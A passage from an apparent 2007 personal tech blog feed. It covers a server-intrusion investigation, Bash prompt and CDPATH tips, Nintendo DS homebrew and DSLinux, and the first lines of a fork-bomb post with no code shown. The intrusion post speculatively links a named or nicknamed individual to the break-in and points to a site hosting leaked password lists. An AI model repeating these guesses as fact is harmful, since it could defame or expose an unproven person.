LaPi. And it&lt;br&gt;makes sense in our language to create nick like this from surname&lt;br&gt;&quot;Lapinski&quot;. While Lapinski is not very popular name, it still can be&lt;br&gt;just coincidence or my imagination. Or another hacked account of course.&lt;br&gt;&lt;br&gt;Anyway, that's a good time for google. Search for &quot;matys&lt;br&gt;site:4lo.bydg.pl&quot; shows some activity on this account, e.g. index of&lt;br&gt;/~matys/foty/02-07-2007 (&quot;foty&quot; means &quot;photos&quot;).&lt;br&gt;       Search for &quot;lapi+psotnic&quot; returns userlist generated by psotnic version&lt;br&gt;0.2.11. Guess what? lapi is there. With IP from polish ISP&lt;br&gt;(&lt;a href=&quot;http://hoth.amu.edu.pl/~esio/smieci/hub.ul&quot;&gt; http://hoth.amu.edu.pl/~esio/smieci/hub.ul&lt;/a&gt;).&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Actually, when I searched for &lt;a href=&quot;http://www.google.no/search?hl=en&amp;amp;q=lapi%2Bpsotnic&amp;amp;btnG=Google+Search&amp;amp;meta=&quot;&gt;&quot;lapi+psotnic&quot;&lt;/a&gt; on google, a web-site called &lt;a href=&quot;http://exy.hu&quot;&gt;exy.hu&lt;/a&gt; popped up. Now this site has all kinds of nice crack software available, lists of username/password to a bunch of porn sites and a whole range of crew pictures. &lt;strong&gt;And guess what, a picture file there named lapi.jpg! (Fetch here: &lt;a href=&quot;http://exy.hu/i.php?dir=crew/Lapi&quot;&gt;http://exy.hu/i.php?dir=crew/Lapi&lt;/a&gt;). Is this our LaPi?&lt;/strong&gt;.&lt;p&gt;I also received an interesting mail from one former student and sysadmin of &lt;a href=&quot;http://panorama.sth.ac.at&quot;&gt;panorama.sth.ac.at&lt;/a&gt;. He could tell me that the host &lt;a href=&quot;http://campus19.panorama.sth.ac.at&quot;&gt;campus19.panorama.sth.ac.at&lt;/a&gt; was &lt;strong&gt;not&lt;/strong&gt; NATed, but in fact one of the few IP-addresses that still is a FQDN. So he had both the name and the room-number of the alleged cracker! He should alert the administrators on-site and come back to me as soon as they had investigated further. This was one month ago, but (unfortunate) I have still not heard anything. &lt;p&gt;The most interesting mail I got was from Ipal (LaPi) himself! LaPi was, as we recall, the alleged cracker:&lt;p&gt;&lt;pre&gt;From: lapi &amp;lt;lapi@xxxxxxx.xxx&amp;gt;&lt;br&gt;To: lars@gnist.org&lt;br&gt;Subject: .&lt;br&gt;Date: Sat, 25 Aug 2007 14:43:40 +0200&lt;br&gt;User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)&lt;br&gt;&lt;br&gt;hi,&lt;br&gt;friend show me this&lt;br&gt;&lt;br&gt;http://blog.gnist.org/article.php?story=HollidayCracking&lt;br&gt;&lt;br&gt;i read it and see my psybnc IpaL, you send mail etc&lt;br&gt;&lt;br&gt;im not abuse, im not metys, my session only stands there, i don't&lt;br&gt;remember why, maybe some spam i see and join to see and detach, or i&lt;br&gt;look for hacked servers, but i don't hack, my shell is k-lined, send&lt;br&gt;mail, because i must un kline it. Im only user of ircnet&lt;br&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;He's claiming his innocent. I tried asking him some question, and, as far as I have interpreted his answers, he believe another cracker called 'metys' actually did the crack. He says he's just some innocent guy being at the wrong place at the wrong time... &lt;p&gt;I'm not convinced. I find it really suspicious that he's at a IRC-channel only occupied with zombies. Perhaps he's just playing the &quot;innocent card&quot; mixed with some bad English? Hard to tell.</content>
</entry>
<entry>
<title type="html">Bash prompt with exit status</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=BashPromptWithExitStatus"/>
<id>tag:blog.gnist.org,2007-10-13:/article.php?story=BashPromptWithExitStatus</id>
<published>2007-10-13T14:37:00+02:00</published>
<updated>2007-10-13T14:37:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Let's improve the Bash prompt even further from my &lt;a href=&quot;http://blog.gnist.org/article.php?story=BashPromptRedHat&quot;&gt;last post&lt;/a&gt;. I want to see the exit status of the last command in the bash prompt.
&lt;p&gt;All (good written) programs have different exit status depending on how they where terminated. Exit stauts &quot;0&quot; is equivalent to &quot;I terminated normally&quot;, all other exit status codes are the same as &quot;non-normal exit&quot; or &quot;something went wrong&quot;. Unfortunate, there is not defined any standard exit status table that can say something about &lt;i&gt;what&lt;/i&gt; went wrong given a numeric exit status. That is up to the programmer to decide. &lt;p&gt;&lt;pre&gt; lars@titan:~&amp;#36; &lt;strong&gt;test 1 -eq 1&lt;/strong&gt;&lt;br&gt; lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt; 0&lt;br&gt; lars@titan:~&amp;#36; &lt;strong&gt;test 1 -eq 2&lt;/strong&gt;&lt;br&gt; lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt; 1&lt;br&gt; lars@titan:~&amp;#36; &lt;strong&gt;notanycommand&lt;/strong&gt;&lt;br&gt; bash: notanycommand: command not found&lt;br&gt; lars@titan:~&amp;#36; &lt;strong&gt;echo &amp;#36;?&lt;/strong&gt;&lt;br&gt; 127&lt;br&gt;&lt;/pre&gt;&lt;p&gt;I know that the exit status is stored in &quot;&amp;#36;?&quot;. I use that to colorize my prompt red if the exit status is anything but &quot;0&quot; (&quot;all ok&quot;). In the bash man page, there is a special variable that is exactly what I'm looking for:&lt;p&gt;&lt;pre&gt;PROMPT_COMMAND&lt;br&gt;  If set, the value is executed as a command prior to issuing each&lt;br&gt;  primary prompt.&lt;br&gt;&lt;/pre&gt;&lt;p&gt;So we create a small function and add it to &lt;strong&gt;~/.bashrc&lt;/strong&gt;:&lt;pre&gt;function exitstatus {&lt;br&gt;&lt;br&gt;        EXITSTATUS=&quot;&amp;#36;?&quot;&lt;br&gt;        BOLD=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;1m&amp;#92;&amp;#93;&quot;&lt;br&gt;        RED=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;1;31m&amp;#92;&amp;#93;&quot;&lt;br&gt;        OFF=&quot;&amp;#92;&amp;#91;&amp;#92;033&amp;#91;m&amp;#92;&amp;#93;&quot;&lt;br&gt;       &lt;br&gt;        if &amp;#91; &quot;&amp;#36;EXITSTATUS&quot; -eq &quot;0&quot; &amp;#93;&lt;br&gt;        then&lt;br&gt;                PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;        else&lt;br&gt;                PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#36;{OFF}&amp;#36;{RED}&amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;        fi&lt;br&gt;&lt;br&gt;        PS2=&quot;&amp;#36;{BOLD}&amp;gt;&amp;#36;{OFF} &quot;&lt;br&gt;}&lt;br&gt;&lt;br&gt;PROMPT_COMMAND=exitstatus&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Fire up a new shell, and every command that has an exit status different than &quot;0&quot; puts a red marker in your prompt:&lt;p&gt;&lt;img width=&quot;739&quot; height=&quot;462&quot; src=&quot;http://blog.gnist.org/images/articles/BashPromptWithExitStatus_1_original.png&quot; alt=&quot;&quot;&gt;</content>
</entry>
<entry>
<title type="html">Bash prompt (on RedHat)</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=BashPromptRedHat"/>
<id>tag:blog.gnist.org,2007-10-12:/article.php?story=BashPromptRedHat</id>
<published>2007-10-12T15:30:00+02:00</published>
<updated>2007-10-12T15:30:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">I've been working with a lot of different RHEL-boxes lately, and I've (yet again) been frustrated with the default RedHat Bash-prompt. It is an easy fix, but its tiresome to change every time. &lt;p&gt;
Okay, the &quot;trouble&quot; is this:&lt;p&gt;&lt;pre&gt;  [lars@titan ~]&amp;#36;&lt;/pre&gt;&lt;p&gt;This is the default bash prompt. Now, thats fine enough, but lets jump to another directory.:&lt;p&gt;&lt;pre&gt;  [lars@titan lib]&amp;#36; &lt;/pre&gt;&lt;p&gt;Where am I now? Which directory is this? Hm?&lt;p&gt;Since the RedHat prompt only shows the current directory, and NOT the full path, it can be any number of directories:&lt;ul&gt;&lt;li&gt;/lib&lt;li&gt;/usr/lib/&lt;li&gt;/usr/src/linux/lib/&lt;li&gt;/usr/local/lib/&lt;li&gt;/opt/lib&lt;li&gt;/var/lib&lt;li&gt;~/lib&lt;li&gt;...&lt;/ul&gt;&lt;p&gt;You get the idea? And, if you have the same amount of short-time memory like me, you have to constantly type 'pwd' to check which directory you currently are in. The only nice feature with the default RedHat prompt, is to prevent long wrapping prompt (when the full path gets long).&lt;p&gt;Luckily, it is easy to change the prompt. Just add this to your &lt;strong&gt;~/.bashrc&lt;/strong&gt;&lt;p&gt;&lt;pre&gt;    PS1='&amp;#92;u@&amp;#92;h:&amp;#92;w&amp;#92;&amp;#36; '&lt;br&gt;    PS2='&amp;gt; '&lt;/pre&gt;&lt;p&gt;This gives you:&lt;p&gt;&lt;pre&gt; lars@dream:~&amp;#36; &lt;/pre&gt;&lt;p&gt;And lets &lt;i&gt;now&lt;/i&gt; jump to another directory:&lt;p&gt;&lt;pre&gt;lars@dream:/usr/local/lib&amp;#36; &lt;/pre&gt;&lt;p&gt;See? No more 'pwd'! Finally a more sane and useful Bash prompt!&lt;p&gt;You can find more prompt variables in the Bash manual &lt;a href=&quot;http://www.gnu.org/software/bash/manual/bashref.html#SEC83&quot;&gt;here&lt;/a&gt;.&lt;p&gt;A slightly more fancy variant of the above, is to make the prompt bold:&lt;p&gt;&lt;pre&gt;   BOLD=&quot;&amp;#92;[&amp;#92;033[1m&amp;#92;]&quot;&lt;br&gt;   OFF=&quot;&amp;#92;[&amp;#92;033[m&amp;#92;]&quot;&lt;br&gt;   PS1=&quot;&amp;#36;{BOLD}&amp;#92;u@&amp;#92;h:&amp;#92;w &amp;#92;&amp;#36;&amp;#36;{OFF} &quot;&lt;br&gt;   PS2=&quot;&amp;#36;{BOLD}&amp;gt;&amp;#36;{OFF} &quot;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Just add it to your ~/.bashrc, and it will look like this:&lt;p&gt;&lt;pre&gt; &lt;strong&gt;lars@titan:~&amp;#36;&lt;/strong&gt;&lt;/pre&gt;&lt;p&gt;You can pimp your prompt with colors and all kinds off information. Read the &lt;a href=&quot;http://tldp.org/HOWTO/Bash-Prompt-HOWTO&quot;&gt;Bash Prompt HOWTO&lt;/a&gt; for more.</content>
</entry>
<entry>
<title type="html">Old classical PC games on Nintendo DS</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=OldPCGamesOnNDS"/>
<id>tag:blog.gnist.org,2007-08-01:/article.php?story=OldPCGamesOnNDS</id>
<published>2007-08-01T20:26:00+02:00</published>
<updated>2007-08-01T20:26:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">The &lt;a href=&quot;http://www.nintendo.com/systemsds&quot;&gt;Nintendo DS&lt;/a&gt; (NDS) is more than powerful enough to play several old PC games. Some porting is required, and luckily a lot of people have already done that. Usually, you just need the game files (which means you must either own the originally game, use the shareware version or, check if it's &lt;a href=&quot;http://www.the-underdogs.info&quot;&gt;abandonware&lt;/a&gt;). It's time for a trip down memory lane trying out some old classics.&lt;p&gt;
To be able to run, you must first have some kind of &quot;memory card&quot;. I have, and can personally vouch for, &lt;a href=&quot;http://www.ds-x.com&quot;&gt;DSX&lt;/a&gt;. You can read all about my experience with it &lt;a href=&quot;http://blog.gnist.org/article.php?story=DSX&quot;&gt;here&lt;/a&gt;. &lt;p&gt;&lt;strong&gt;1. Lemmings&lt;/strong&gt; - First off is &lt;a href=&quot;http://en.wikipedia.org/wiki/Lemmings_(video_game)&quot;&gt;Lemmings&lt;/a&gt;! This (open source) version of Lemmings for NDS is a complete rewrite of Lemmings with close to 300 of the original levels. &lt;a href=&quot;http://www.mrdictionary.net/lemmings/installation/&quot;&gt;Installation&lt;/a&gt; was easy - and no &lt;a href=&quot;http://chishm.drunkencoders.com/DLDI/&quot;&gt;dldi&lt;/a&gt; patching was necessary for DSX. Download &lt;a href=&quot;http://www.mrdictionary.net/lemmings/lemproject-downloads/&quot;&gt;here&lt;/a&gt;.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;169&quot; src=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;2. Doom&lt;/strong&gt; - This version of &lt;a href=&quot;http://en.wikipedia.org/wiki/Doom&quot;&gt;Doom&lt;/a&gt;, called &quot;DS Doom&quot;, even have multiplayer support using wireless. This version does not need dldi patching for DSX. But you do need Dooms WAD-files (shareware is fine). Homepage &lt;a href=&quot;http://dsdoom.devkitpro.org/&quot;&gt;here&lt;/a&gt;.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_2_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;162&quot; src=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_2.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;3. Day of the Tentacle&lt;/strong&gt; - Yes! The great adventure games from Lucasarts can be played on the NDS using a port of &lt;a href=&quot;http://www.scummvm.org/&quot;&gt;Scummvm&lt;/a&gt;. Scummvm is just a new engine, so you still need the data files. A whole range of adventure games can be played (Monkey Island 1 &amp;amp; 2, Sam &amp;amp; Max hit the road, Simon the Sorcerer 1 &amp;amp; 2, ..). Download the NDS port of Scummvm &lt;a href=&quot;http://scummvm.drunkencoders.com/&quot;&gt;here&lt;/a&gt;.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;197&quot; src=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;4. Hexen&lt;/strong&gt; - Another old classic FPS game, based on the Doom engine. Fetch it &lt;a href=&quot;http://gtamp.com/DS/dualhexen.php&quot;&gt;here&lt;/a&gt;.&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_4_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;170&quot; src=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_4.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;5. Quake&lt;/strong&gt; - Yes, running &lt;a href=&quot;http://en.wikipedia.org/wiki/Quake&quot;&gt;Quake&lt;/a&gt; at full speed. Quite a nice port considered the NDS's 4MB of memory. You'll need the shareware version of the game file (PAK0.PAK) and/or the full game (PAK1.PAK).&lt;p&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_5_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;195&quot; src=&quot;http://blog.gnist.org/images/articles/OldPCGamesOnNDS_5.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;Other games I would like to see ported to NDS, are from the Ultima series. Specifically Ultima 7 and 8 and Ultima Underworld 1 &amp;amp; 2. Great, &lt;i&gt;great&lt;/i&gt; games! And since I've mention Lucasarts games, playing &lt;a href=&quot;http://www.gamespot.com/pc/sim/xwingcollectorsseries/index.html&quot;&gt;X-Wing&lt;/a&gt; and Tie-Fighter would also have been fun - which the NDS should be more than capable of. When it comes to Ultima 7, the &lt;a href=&quot;http://exult.sourceforge.net/&quot;&gt;Exult&lt;/a&gt; project have &lt;a href=&quot;http://exult.sourceforge.net/forum/read.php?f=1&amp;amp;i=28683&amp;amp;t=28683&quot;&gt;made a comment&lt;/a&gt; on porting to the NDS. - Oh, and not to forget Dungeon Keeper, Diablo, ...&lt;p&gt;Now, if only I had some more time to play games!</content>
</entry>
<entry>
<title type="html">Linux on Nintendo DS</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=DSLinux"/>
<id>tag:blog.gnist.org,2007-07-27:/article.php?story=DSLinux</id>
<published>2007-07-27T16:14:00+02:00</published>
<updated>2007-07-27T16:14:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">After getting my own DSX memory card for running homebrews (read earlier blog entry &lt;a href=&quot;http://blog.gnist.org/article.php?story=DSX&quot;&gt;here&lt;/a&gt;), it's time to fire up Linux. Getting Linux to run on the NDS was no problem at all, but it's still quite limited. At least when using the memory card DSX.&lt;p&gt;
&lt;a href=&quot;http://blog.gnist.org/images/articles/DSLinux_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;194&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/DSLinux_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;The Linux distribution for NDS is called &lt;a href=&quot;http://www.dslinux.org/&quot;&gt;DSLinux&lt;/a&gt; and is under active development. To run it, use the following procedure:&lt;ol&gt;&lt;li&gt;Connect the DSX to the USB.&lt;li&gt;Download &lt;a href=&quot;http://kineox.free.fr/DS/dslinux.nds&quot;&gt;http://kineox.free.fr/DS/dslinux.nds&lt;/a&gt; and put it in the &quot;apps/&quot; folder. This version has wireless support.&lt;li&gt;Since the DSX own application launcher are unable to launch DSLinux for some reason, another launcher has to load Linux. The launcher DSChannel can do the work. Unpack &lt;a href=&quot;http://gtamp.com/DS/dschannels_beta5b_DS-X.7z&quot;&gt;http://gtamp.com/DS/dschannels_beta5b_DS-X.7z&lt;/a&gt; to the root of your DSX.&lt;li&gt;From DSX, start DSChannel. From DSChannel start DSLinux. If you try to launch DSLinux from DSX own application launcher, you'll just be presented with to white screens.&lt;li&gt;When starting DSLinux, the top-screen (console) is garbled. Just tap &quot;Enter&quot; to redraw the screen.&lt;li&gt;Login with user name: root and password: uClinux.&lt;/ol&gt;&lt;img width=&quot;800&quot; height=&quot;728&quot; src=&quot;http://blog.gnist.org/images/articles/DSLinux_2_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;From here, get the wireless interface up and running:&lt;p&gt;&lt;p&gt;&lt;pre&gt;# &lt;strong&gt;iwconfig nds channel 2 essid gatekeeper key off&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;ifconfig nds 192.168.1.42 up&lt;/strong&gt;&lt;br&gt;# &lt;strong&gt;route add default gw 192.168.1.1&lt;/strong&gt;&lt;br&gt;&lt;/pre&gt;&lt;p&gt;Read more here: &lt;a href=&quot;http://www.dslinux.org/wiki/Using_DSLinux&quot;&gt;http://www.dslinux.org/wiki/Using_DSLinux&lt;/a&gt;&lt;p&gt;Oh, and the wireless is just legacy 802.11 (no 802.11b or 820.11g), so it's limited to 2Mbit/s data rate. And only WEP is supported, no &lt;a href=&quot;http://tldp.org/HOWTO/html_single/8021X-HOWTO/#what80211i&quot;&gt;802.11i&lt;/a&gt; (WPA/WPA2).&lt;p&gt;Unfortunate, the DSX (file system) is not supported by DSLinux, so it's really limited what can be done. The file system is read-only so the rest of DSLinux is inaccessible. Only the most elementary programs are available like &quot;busybox, &quot;cat&quot;, &quot;ls&quot; and so on. Both &quot;telnetd&quot; and &quot;dropbear&quot; (ssh) refuses to start. I suspect that's because the read-only file system. And since no &quot;netcat&quot; or &quot;socat&quot; is present, it limits the remote accessibility further. Fortunate, support for DSX is on the &lt;a href=&quot;http://www.dslinux.org/wiki/TODO&quot;&gt;TODO list&lt;/a&gt;.&lt;p&gt;So I'll guess I just have to wait until it's supported before I can play more with DSLinux.&lt;p&gt;Useful links:&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.ds-xtra.com/DSLinux&quot;&gt;http://www.ds-xtra.com/DSLinux&lt;/a&gt;&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/Using_DSLinux&quot;&gt;http://www.dslinux.org/wiki/Using_DSLinux&lt;/a&gt;&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/DSLinux_FAQ&quot;&gt;http://www.dslinux.org/wiki/DSLinux_FAQ&lt;/a&gt;&lt;li&gt;&lt;a href=&quot;http://www.dslinux.org/wiki/TODO&quot;&gt;http://www.dslinux.org/wiki/TODO&lt;/a&gt;&lt;/ul&gt;</content>
</entry>
<entry>
<title type="html">Memory card &amp;quot;DS-Xtreme&amp;quot; (DSX) for the Nintendo DS (NDS)</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=DSX"/>
<id>tag:blog.gnist.org,2007-07-27:/article.php?story=DSX</id>
<published>2007-07-27T14:21:00+02:00</published>
<updated>2007-07-27T14:21:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">As of June 2007, 47 million &lt;a href=&quot;http://en.wikipedia.org/wiki/Nintendo_DS&quot;&gt;Nintendo DS&lt;/a&gt; units has been sold. That's quite an impressive number, and has been the &lt;a href=&quot;http://videogames.yahoo.com/printview_article?eid=501583&quot;&gt;fastest selling platform in Europe&lt;/a&gt;. As soon as I got my hands on one of these units, I started looking for ways to use &lt;a href=&quot;http://en.wikipedia.org/wiki/Nintendo_DS_homebrew&quot;&gt;&quot;homebrews&quot;&lt;/a&gt; (= software written for the NDS usually published for free).&lt;p&gt;
&lt;a href=&quot;http://blog.gnist.org/images/articles/DSX_1_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;148&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/DSX_1.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;There are a lot of great homebrews for the NDS, but a &quot;memory card&quot; (solid state ROM) is required to use homebrews. You must have a way of putting the homebrew onto the NDS. A lot of different memory cards exists. After poking around, I found that &lt;a href=&quot;http://www.ds-x.com/&quot;&gt;DS Xtreme&lt;/a&gt; card (DSX) looked to be a good choice.&lt;p&gt;Several reasons why I preferred DSX:&lt;p&gt;&lt;ul&gt;&lt;li&gt; Comes in sizes up to 2GB.&lt;li&gt; The pysical size is no larger than ordinary game cards.&lt;li&gt; No need to patch/modify the NDS, the DSX works as an ordinary &quot;game card&quot;.&lt;li&gt; USB interface directly onto the card which works flawlessly.&lt;li&gt; Support (which I found out where excellent) and forums.&lt;li&gt; A large and active community.&lt;/ul&gt;Okay, so how do I get hold of one of these cards? I found a Norwegian shop &lt;a href=&quot;http://www.modnet.no&quot;&gt;modnet.no&lt;/a&gt; which had the 2 GB in &lt;a href=&quot;http://www.modnet.no/product_info.php?cPath=123_125&amp;amp;products_id=2468&quot;&gt;in stock&lt;/a&gt;.&lt;p&gt;The device arrived the next day. Great! Inside it was only a USB-cable and the DSX itself. I had read that the 2GB devices need a mandatory update, due to some firmware bugs. The firmware update was a breeze, but unfortunate a Windows only procedure. &lt;p&gt;&lt;img width=&quot;800&quot; height=&quot;658&quot; src=&quot;http://blog.gnist.org/images/articles/DSX_2_original.jpg&quot; alt=&quot;&quot;&gt;&lt;p&gt;When connected it's deteced as any ordinary USB-stick:&lt;p&gt;&lt;p&gt;&lt;pre&gt;&amp;#36; &lt;strong&gt;dmesg&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;[17185651.468000] usbcore: registered new driver usb-storage&lt;br&gt;[17185651.468000] USB Mass Storage support registered.&lt;br&gt;[17185651.468000] usb-storage: device found at 7&lt;br&gt;[17185651.468000] usb-storage: waiting for device to settle before scanning&lt;br&gt;[17185656.468000] usb-storage: device scan complete&lt;br&gt;[17185656.468000]   Vendor: DS-Xtrem  Model: e      isk        Rev:     &lt;br&gt;[17185656.468000]   Type:   Direct-Access                      ANSI SCSI revision: 00&lt;br&gt;[17185656.472000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)&lt;br&gt;[17185656.472000] sdb: Write Protect is off&lt;br&gt;[17185656.472000] sdb: Mode Sense: 33 00 00 00&lt;br&gt;[17185656.472000] sdb: assuming drive cache: write through&lt;br&gt;[17185656.476000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)&lt;br&gt;[17185656.476000] sdb: Write Protect is off&lt;br&gt;[17185656.476000] sdb: Mode Sense: 33 00 00 00&lt;br&gt;[17185656.476000] sdb: assuming drive cache: write through&lt;br&gt;[17185656.476000]  sdb: unknown partition table&lt;br&gt;[17185656.476000] sd 2:0:0:0: Attached scsi removable disk sdb&lt;br&gt;[17185656.476000] sd 2:0:0:0: Attached scsi generic sg1 type 0&lt;br&gt;[17185657.096000] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!&lt;br&gt;&lt;br&gt;&amp;#36; &lt;strong&gt;df -h&lt;/strong&gt;&lt;br&gt;...&lt;br&gt;/dev/sdb              2.0G  1.4G  639M  68% /media/DSX&lt;br&gt;&lt;/pre&gt;&lt;a href=&quot;http://blog.gnist.org/images/articles/DSX_3_original.jpg&quot; title=&quot;View unscaled image&quot;&gt;&lt;img width=&quot;200&quot; height=&quot;192&quot; align=&quot;right&quot; src=&quot;http://blog.gnist.org/images/articles/DSX_3.jpg&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;p&gt;After fiddling around with the DSX I needed to reset the DSX. I peeled off the label on the DSX and in the tiny hole there was two individual contacts. By connecting these two, the DSX was reset. Se picture to the right. After that I just needed to run the firmware upgrade utility and I was back on track.&lt;p&gt;&lt;p&gt;So now it's time to find some good homebrews! A nice place to start:&lt;p&gt;&lt;p&gt; &lt;a href=&quot;http://www.ds-xtra.com/DS_Homebrew_Directory&quot;&gt;http://www.ds-xtra.com/DS_Homebrew_Directory&lt;/a&gt;</content>
</entry>
<entry>
<title type="html">Less typing with enviroment variable CDPATH</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=CDPATH"/>
<id>tag:blog.gnist.org,2007-07-25:/article.php?story=CDPATH</id>
<published>2007-07-25T20:11:00+02:00</published>
<updated>2007-07-25T20:11:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">The BASH shell has several &lt;a href=&quot;http://www.gnu.org/software/bash/manual/bashref.html#SEC61&quot;&gt;environment variables&lt;/a&gt; that can be manipulated. The PATH variable is well known. Another useful variable is CDPATH. As PATH is a list of search paths for commands, so is CDPATH a list of directories used as search path for the &quot;&lt;strong&gt;cd&lt;/strong&gt;&quot; command.&lt;p&gt;
&lt;strong&gt;Example:&lt;/strong&gt; At one ftp server we serve a lot of software, including several of the most popular Linux distributions. The local path to these distributions involves a lot of typing:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  larsks@spheniscus:~&amp;#36; &lt;strong&gt;cd /usit/spheniscus/ftp/linux/&lt;/strong&gt;&lt;br&gt;  larsks@spheniscus:/usit/spheniscus/ftp/linux&amp;#36; &lt;br&gt;&lt;/pre&gt;&lt;p&gt;From here, I can jump into &quot;slackware/&quot;, &quot;centos/&quot;, &quot;debian/&quot; and so on. But it's simpler when using CDPATH:&lt;p&gt;&lt;p&gt;&lt;pre&gt;  larsks@spheniscus:~&amp;#36; &lt;strong&gt;export CDPATH=&quot;/usit/spheniscus/ftp/linux&quot;&lt;/strong&gt;&lt;br&gt;  larsks@spheniscus:~&amp;#36; &lt;strong&gt;cd slackware&lt;/strong&gt;&lt;br&gt;   /usit/spheniscus/ftp/linux/slackware&lt;br&gt;  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware&amp;#36; &lt;br&gt;&lt;/pre&gt;&lt;p&gt;Nice huh? &lt;p&gt;An even lazier method (involving less typing) is to use alias: &lt;p&gt;&lt;pre&gt;  larsks@spheniscus:~&amp;#36; &lt;strong&gt;alias s=&quot;cd /usit/spheniscus/ftp/linux/slackware&quot;&lt;/strong&gt;&lt;br&gt;  larsks@spheniscus:~&amp;#36; &lt;strong&gt;s&lt;/strong&gt;&lt;br&gt;  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware&amp;#36; &lt;br&gt;&lt;/pre&gt;&lt;p&gt;But then I have to create one alias for each directory. Oh the choices!</content>
</entry>
<entry>
<title type="html">Fork bomb, or how to take down a Linux server in matter of seconds</title>
<link rel="alternate" type="text/html" href="http://blog.gnist.org/article.php?story=forkbomb"/>
<id>tag:blog.gnist.org,2007-07-24:/article.php?story=forkbomb</id>
<published>2007-07-24T15:28:00+02:00</published>
<updated>2007-07-24T15:28:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">A particular nasty local denial of service attack is a &lt;a href=&quot;http://www.catb.org/jargon/html/F/fork-bomb.html&quot;&gt;fork bomb&lt;/a&gt;. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.&lt;p&gt;
